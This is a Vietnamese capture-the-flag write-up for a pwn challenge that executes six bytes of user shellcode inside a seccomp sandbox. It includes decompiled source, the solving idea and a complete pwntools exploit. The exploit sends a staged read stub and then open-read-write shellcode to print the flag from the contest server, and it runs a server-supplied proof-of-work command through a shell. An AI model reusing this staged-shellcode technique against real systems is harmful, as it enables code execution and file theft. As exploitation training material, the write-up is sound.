pwn - Master's Request
Sanryu's Masters need help from you guys to read the flag.txt in the same dir, please come !!!
Đội mình không đủ điểm vòng sơ khảo để vào thi final bảng B nên sau khi cuộc thi diễn ra, mình mượn acc của bạn để làm thử các bài pwn. Bắt đầu với bài đầu tiên với 30 solves, khả năng là bài dễ.

Source Code
int __fastcall main(int argc, const char **argv, const char **envp)
{
void (*buf)(void); // [rsp+0h] [rbp-10h]
setup(argc, argv, envp);
buf = (void (*)(void))mmap((void *)0x13370000, 0x200u, 7, 34, -1, 0);
if ( buf == (void (*)(void))-1LL )
{
perror("mmap");
return 1;
}
else
{
puts("\n=======================================================");
puts("The masters of Sanryu ask for shellcode !!");
printf("Enter your shellcode (%d bytes max): ", 6);
if ( read(0, buf, 6u) > 0 )
{
puts("Running your shellcode...");
install_sandbox();
buf();
return 0;
}
else
{
puts("No shellcode? No fun.");
return 1;
}
}
}Ta chỉ có thể nhập tối đã 6 bytes shellcode vào buf tại địa chỉ 0x13370000 và nhảy đến đó thực thi. Để ý có install_sandbox() nên ta sẽ dùng seccomp-tools để check.
Mitigation


Chỉ có các syscall open, read, write là cho phép.
Solve
Ý tưởng của mình là ghi một đoạn shellcode ngắn < 6 bytes cho phép tiếp tục ghi shellcode dài hơn để có được shellcode ORW hoàn thiện và đọc flag.
Ta break ngay trước khi nhảy đến buf():

Ta đặt rdi về 0 để nhập từ stdin, đặt rsi thành rdx, sau đó gọi syscall. Vì rax đã là 0, nên ta sẽ có syscall là read(0, 0x1337000, 0x13370000), tiếp tục ghi shellcode ORW vào 0x13370000.
Script
#!/usr/bin/env python3
from pwn import *
import subprocess
exe = ELF("chall_patched", checksec=False)
context.terminal = ["tilix", "-a", "session-add-right", "-e"]
context.binary = exe
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rc = lambda p, n: p.recv(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
gdbscript = '''
# b *main+239
set follow-fork-mode parent
set detach-on-fork on
continue
'''
def conn():
if args.LOCAL:
p = process([exe.path])
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
if args.DEBUG:
context.log_level = 'debug'
return p
else:
host = "chall.cscv.vn"
port = 6789
return remote(host, port)
p = conn()
if not args.LOCAL:
ru(p, b'proof of work:')
cmd = rl(p).strip().decode()
solution = subprocess.run(cmd, shell=True, capture_output=True, text=True).stdout.strip()
sla(p, b'solution:', solution.encode())
sh = '''
xor edi, edi
mov esi, edx
syscall
'''
sleep(0.5)
sa(p, b'bytes max):', asm(sh))
sh = '''
nop
nop
nop
nop
nop
nop
/* open("./flag.txt", 0) */
mov rax, 2
lea rdi, [rip+flag]
xor rsi, rsi
syscall
/* read(fd, rsp, 99) */
xchg rdi, rax
xor rax, rax
mov rsi, rsp
mov dl, 99
syscall
/* write(1, rsp, rax) */
mov rdi, 1
mov rsi, rsp
mov rdx, rax
mov rax, 1
syscall
flag:
.string "./flag.txt"
'''
sleep(0.1)
s(p, asm(sh))
rl(p)
print(ra(p, 1).strip().decode())